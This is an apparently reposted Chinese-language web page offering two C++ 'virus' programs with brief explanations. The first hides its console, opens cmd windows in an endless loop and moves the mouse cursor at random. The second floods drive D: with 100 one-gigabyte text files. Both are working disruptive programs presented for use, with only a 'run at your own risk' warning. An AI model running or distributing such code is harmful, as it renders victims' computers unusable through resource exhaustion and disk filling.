C++病毒


病毒代碼一

#include <bits/stdc++.h> #include <windows.h> using namespace std; void HideWindow() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } int main() { HideWindow(); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); for(;;){ system("start cmd"); for(int i=1;i<=100;i++) { SetCursorPos(rand()%y,rand()%x); } } return 0; }

請勿在自己計算機上運行,后果自負!!!

閱讀提示:

GetSystemMetrics()用於獲得屏幕的分辨率,然后不斷的給鼠標坐標設定隨機數。

SetCursorPos用於設定鼠標坐標
system("start cmd")用於新建一個cmd窗口

病毒代碼二
#include<bits/stdc++.h>
using namespace std;
int main(){
    for(int i=0;i<100;i++){
        string s;
        stringstream ss;
        ss<<i;
        ss>>s;
        freopen(("D:\\"+s+".txt").c_str(),"w",stdout);
        for(int j=0;j<1024*1024*1024;j++){
            cout<<'*';//一個txt放一個GB ,因為一個TXT最多只能放一個GB 
        }
    }
    
}
 
        

使用freopen不斷往磁盤里面放文件,每個文件只能占一個GB(經測試,一個文件如果設定超過1GB會出問題)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM